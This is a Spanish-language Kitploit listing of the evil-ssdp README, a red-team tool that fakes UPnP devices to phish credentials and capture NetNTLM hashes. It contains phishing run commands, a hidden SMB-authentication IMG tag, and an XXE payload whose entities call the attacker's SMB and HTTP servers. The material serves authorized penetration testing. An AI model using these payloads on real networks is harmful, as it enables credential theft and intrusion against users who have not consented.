Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
evil-ssdp — Suplanta respuestas SSDP y crea dispositivos UPnP falsos para phishing de credenciales y desafío/respuesta NetNTLM. | Kitploit
Herramientas/GitHubGitHub/initstring/evil-ssdp
Análisis de VulnerabilidadesExplotaciónEvasión de IDS/IPSHerramientas de SuplantaciónPhishingSeguridad de RedesPruebas de PenetraciónIngeniería SocialRed Teaming
GitHubinitstring/evil-ssdp

evil-ssdp

Suplanta respuestas SSDP y crea dispositivos UPnP falsos para phishing de credenciales y desafío/respuesta NetNTLM.

4411003hace 2 añosRevisado por Kitploit
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Resumen

Esta herramienta responde a solicitudes de descubrimiento multicast SSDP, haciéndose pasar por un dispositivo UPNP genérico. Tu dispositivo suplantado aparecerá mágicamente en el Explorador de Windows en las máquinas de tu red local. Los usuarios que sean tentados a abrir el dispositivo verán una página de phishing configurable. Esta página puede cargar una imagen oculta a través de SMB, permitiéndote capturar o retransmitir el desafío/respuesta NetNTLM.

También se proporcionan plantillas para capturar credenciales en texto claro mediante autenticación básica y formularios de inicio de sesión, y crear tus propias plantillas personalizadas es rápido y sencillo.

Esto no requiere credenciales existentes para ejecutarse y funciona incluso en redes que se han protegido contra ataques Responder deshabilitando NETBIOS y LLMNR. Cualquier sistema operativo o aplicación que utilice SSDP/UPNP puede ser objetivo, pero la mayor parte de la weaponización actual se ha dirigido a Windows 10.

Video: Resumen de Phishing

Como plus adicional, esta herramienta también puede detectar y explotar posibles vulnerabilidades de día cero en los motores de análisis XML de aplicaciones que usan SSDP/UPNP. Si se encuentra un dispositivo vulnerable, te alertará en la interfaz de usuario y luego montará tu recurso compartido SMB o exfiltrará datos SIN NECESIDAD DE INTERACCIÓN DEL USUARIO mediante un ataque de Entidad Externa XML (XXE).

Video: Resumen de 0-Day

Uso

La ejecución más básica se ve así:

root@kitploit:~
evil_ssdp.py eth0

Debes proporcionar al menos la interfaz de red. La interfaz se utiliza tanto para la interacción UDP SSDP como para alojar un servidor web para los archivos XML y la página de phishing.

La herramienta actualizará automáticamente una etiqueta IMG en la página de phishing utilizando la IP de la interfaz que proporciones. Para trabajar con desafío/respuesta, necesitarás lanzar un servidor SMB en esa interfaz (como Impacket). Esta dirección se puede personalizar con la opción .

-s

Algunos escenarios de ejemplo:

root@kitploit:~
# Usar wlan0 para anunciar el dispositivo y hacer phishing, capturando NetNTLM y
# solicitando texto claro a través de un formulario de inicio de sesión falso de Office365. Redirigir a
# Microsoft después de capturar las credenciales:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'

# Igual que arriba, pero asumiendo que tu servidor SMB se ejecuta en otra IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
    -s 192.168.1.205

# Solicitar credenciales usando autenticación básica y redirigir a Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
    'https://azure.microsoft.com/auth/signin/' -b

# Esperar una vulnerabilidad XXE para capturar NetNTLM mientras Impacket/Responder se ejecuta
en wlan0:
evil_ssdp.py wlan0 -t xxe-smb

Detalles de uso completos:

root@kitploit:~
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
                    [-u URL]
                    interface

positional arguments:
  interface             Interfaz de red en la que escuchar.

optional arguments:
  -h, --help            Muestra este mensaje de ayuda y sale
  -p PORT, --port PORT  Puerto para el servidor HTTP. Por defecto 8888.
  -t TEMPLATE, --template TEMPLATE
                        Nombre de una carpeta en el directorio de plantillas. Por defecto
                        "office365". Esto determinará los archivos xml y las páginas de phishing utilizados.
  -s SMB, --smb SMB     Dirección IP de tu servidor SMB. Por defecto la dirección principal
                        de la "interfaz" proporcionada.
  -b, --basic           Habilitar autenticación base64 para plantillas y escribir
                        credenciales en el archivo de registro.
  -r REALM, --realm REALM
                        Realm al solicitar autenticación al objetivo mediante Basic Auth.
  -u URL, --url URL     Redirigir a esta URL. Funciona con plantillas que hacen un
                        POST para formularios de inicio de sesión y con plantillas que incluyen
                        el JavaScript de redirección personalizada (ver README para más
                        información). [ejemplo: -r https://google.com]
  -a, --analyze         Ejecutar en modo análisis. NO responderá a ninguna consulta
                        SSDP, pero seguirá habilitando y ejecutando el servidor web para pruebas.

Plantillas

Las siguientes plantillas vienen con la herramienta. Si tienes buenas habilidades de diseño, ¡contribuye con una propia!

  • office365: Aparecerá en el Explorador de Windows como "Office365 Backups". La página de phishing que simula el inicio de sesión de Office365 enviará las credenciales mediante POST. Estas se marcarán en la interfaz de usuario y se registrarán en el archivo de registro. Se recomienda ejecutar con '-u https://www.office.com' para redirigir a los usuarios al sitio legítimo después de robar sus credenciales. Desarrollador: pentestgeek.
  • scanner: Aparecerá en el Explorador de Windows como un escáner con el nombre "Corporate Scanner [3 NEW SCANS WAITING]". Al hacer doble clic, se mostrará una página de inicio de sesión de aspecto genérico. Esta plantilla se beneficiaría de personalizaciones para tu objetivo en particular. Plantilla copiada en su mayoría de esta plantilla.
  • microsft-azure: Aparecerá en el Explorador de Windows como "Microsoft Azure Storage". La página de destino es la página de inicio de sesión de Windows Live cuando las cookies están deshabilitadas. Se recomienda usar con la opción -u para redirigir a los usuarios a la página de inicio de sesión real. Desarrollador: Dwight Hohnstein.
  • bitcoin: Aparecerá en el Explorador de Windows como "Bitcoin Wallet". La página de phishing es solo un conjunto aleatorio de información de clave privada/pública/dirección de Bitcoin. No hay fondos reales en estas cuentas.
  • password-vault: Aparecerá en el Explorador de Windows como "IT Password Vault". La página de phishing contiene una lista corta de contraseñas falsas / claves SSH / etc.
  • xxe-smb: Probablemente no aparecerá en el Explorador de Windows. Se usa para encontrar vulnerabilidades de día cero en analizadores XML. Disparará una alerta "XXE - VULN" en la interfaz de usuario para aciertos e intentará forzar a los clientes a autenticarse con el servidor SMB, sin interacción.
  • xxe-exfil: Otro ejemplo de búsqueda de vulnerabilidades XXE, pero esta vez intentando exfiltrar un archivo de prueba desde un host Windows. Por supuesto, puedes personalizarlo para buscar cualquier archivo específico que quieras, Windows o Linux. En las aplicaciones vulnerables que he descubierto, la exfiltración funciona solo en un archivo sin espacios en blanco ni saltos de línea. Esto se debe a cómo se inyecta en la URL de una solicitud GET. Si consigues que funcione en archivos de múltiples líneas, POR FAVOR házmelo saber cómo lo hiciste.

Crear tus propias plantillas es fácil. Simplemente copia la carpeta de una plantilla existente y edita los siguientes archivos:

  • device.xml: Aquí es donde definirás cómo se ve el dispositivo dentro del Explorador de Windows.
  • present.html: Esta es la página de phishing que se muestra cuando un objetivo abre el dispositivo malicioso. Puedes crear cualquier cosa aquí. Ten en cuenta que la plantilla de cadenas de Python analizará esto, por lo que deberás usar $$ en lugar de $ en cualquier lugar para escapar del motor de plantillas.
  • service.xml: Aún no implementado. Puede ser necesario para suplantación UPNP más compleja en el futuro.

En tu página de phishing (present.html), usa variables como las siguientes para funcionalidad adicional:

root@kitploit:~
# La siguiente línea iniciará un desafío/respuesta NetNTLM usando la dirección IP
# de la interfaz que proporciones o una dirección IP opcionalmente especificada:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />

# Lo siguiente aprovechará la redirección de URL opcionalmente especificada. Esto es
# útil cuando se usa con autenticación básica para redirigir a un sitio válido. Esta
# línea está incorporada en la plantilla microsoft-azure:
    <script>
	    var url = "$redirectUrl";
    	    if (url != "") {
	    	document.location = url;
	    }
    </script>


# Si usas un formulario HTTP para capturar credenciales en texto claro, usa código como el
# siguiente. Además, cualquier plantilla que realice una solicitud POST admitirá
# automáticamente el parámetro '-u' para redirigir después de que se complete el POST. La herramienta
# monitoreará los POST a esta URL para buscar credenciales:
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">

La herramienta actualmente solo crea correctamente dispositivos para el tipo de dispositivo UPNP 'Basic', aunque responde a las consultas SSDP para todos los tipos de dispositivos. Si conoces bien UPNP, puedes crear una nueva plantilla con los parámetros correctos para cumplir con las solicitudes de otros tipos de dispositivos. Todavía hay mucho que explorar aquí explotando aplicaciones específicas y la forma en que esperan y aprovechan los dispositivos UPNP.

Detalles Técnicos

El Protocolo Simple de Descubrimiento de Servicios (SSDP) es utilizado por sistemas operativos (Windows, MacOS, Linux, IOS, Android, etc.) y aplicaciones (Spotify, Youtube, etc.) para descubrir dispositivos compartidos en una red local. Es la base para descubrir y anunciar dispositivos Universal Plug & Play (UPNP).

Los dispositivos que intentan descubrir recursos de red compartidos enviarán un multicast UDP a 239.255.255.250 en el puerto 1900. El puerto de origen es aleatorio. Un ejemplo de solicitud se ve así:

root@kitploit:~
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3

Para interactuar con este host, necesitamos capturar tanto el puerto de origen como el encabezado 'ST' (Tipo de Servicio). La respuesta DEBE enviarse al puerto de origen correcto y DEBE incluir el encabezado ST correcto. Ten en cuenta que no solo el sistema operativo Windows busca dispositivos: escanear una red típica mostrará una gran cantidad de solicitudes de aplicaciones dentro del SO (como Spotify), teléfonos móviles y otros dispositivos multimedia. Windows solo cooperará si respondes con el ST correcto; otras fuentes son más indulgentes.

evil_ssdp extraerá el ST solicitado y enviará una respuesta como la siguiente:

root@kitploit:~
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

Los encabezados (específicamente LOCATION, 01-NLS, ST y USN) se construyen dinámicamente. Esto le dice al solicitante dónde encontrar más información sobre nuestro dispositivo. Aquí, estamos forzando a Windows (y otros solicitantes) a acceder a nuestro archivo XML 'Device Descriptor' y analizarlo. El USN es solo una cadena aleatoria y solo necesita ser único y tener el formato adecuado.

evil_ssdp obtendrá el archivo 'device.xml' de la carpeta de plantillas elegida e insertará dinámicamente algunas variables como tu dirección IP. Este archivo 'Device Descriptor' es donde puedes personalizar nombres descriptivos atractivos y descripciones. Se ve así:

root@kitploit:~
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <URLBase>http://$local_ip:$local_port</URLBase>
  <device>
    <presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
    <deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
    <friendlyName>Office365 Backups</friendlyName>
    <modelDescription>Secure Storage for Office365</modelDescription>
    <manufacturer>MS Office</manufacturer>
    <modelName>Office 365 Backups</modelName>
    <UDN>$session_usn</UDN>
    <serviceList>
      <service>
        <serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
        <serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
        <controlURL>/ssdp/service-desc.xml</controlURL>
        <eventSubURL>/ssdp/service-desc.xml</eventSubURL>
        <SCPDURL>/ssdp/service-desc.xml</SCPDURL>
      </service>
    </serviceList>

  </device>
</root>

Una línea clave en este archivo contiene la 'URL de presentación'. Esto es lo que se cargará en el navegador del usuario si decide hacer doble clic manualmente en el dispositivo UPNP. evil_ssdp alojará este archivo automáticamente (present.html de la carpeta de plantillas elegida), insertando tu dirección IP de origen en una etiqueta IMG para acceder a un recurso compartido SMB que puedes alojar con herramientas como Impacket, Responder o Metasploit.

La etiqueta IMG se ve así:

root@kitploit:~
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>

Caza de Días Cero

Por defecto, esta herramienta esencialmente obliga a los dispositivos en la red a analizar un archivo XML. Existe un ataque bien conocido contra aplicaciones que analizan XML: Procesamiento de Entidades Externas XML (XXE).

Este tipo de ataque contra dispositivos UPNP probablemente se pasa por alto, simplemente porque el método de ataque es complejo y no es evidente de inmediato. Sin embargo, evil_ssdp facilita mucho la prueba de dispositivos vulnerables en tu red. Simplemente ejecuta la herramienta y busca un gran [XXE VULN!!!] en la salida. NOTA: usar la plantilla xxe probablemente no generará dispositivos maliciosos visibles en la LAN, está destinada solo a escenarios de interacción cero.

Esto se logra proporcionando un archivo XML de Descriptor de Dispositivo con el siguiente contenido:

root@kitploit:~
<?xml version="1.0"?>
<!DOCTYPE data [ 
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>

Cuando un analizador XML vulnerable lee este archivo, montará automáticamente el recurso compartido SMB (permitiéndote descifrar el hash o retransmitir) y también accederá a una URL HTTP para notificarte que fue descubierto. La notificación contendrá los encabezados HTTP y una dirección IP, lo que debería darte información sobre la aplicación vulnerable. Si ves esto, por favor contacta al proveedor para corregir el problema. Además, me encantaría saber sobre cualquier día cero que encuentres usando la herramienta. Y por favor menciona la herramienta en tu CVE.

Agradecimientos

  • Gracias a ZeWarren y su proyecto aquí. Lo usé extensamente para entender cómo hacer funcionar los conceptos básicos de SSDP.
  • Gracias a pentest geek y sus plantillas de phishing aquí. Usé la página de inicio de sesión de Office365 de allí.
  • Gracias a Dwight Hohnstein por su excelente trabajo implementando características interesantes como autenticación básica, soporte de realm y redirección automática en evil_ssdp. Amablemente escribió y proporcionó código para hacer esto posible.
  • Gracias a las siguientes personas por enviar correcciones de errores:
    • Nadar, Ender Akbas, bubbleguuum

También gracias a Microsoft por desarrollar muchas cosas inseguras divertidas con las que jugar.

Esta es una herramienta de investigación de seguridad. Úsala solo donde tengas permiso explícito del propietario de la red.

Descargar herramienta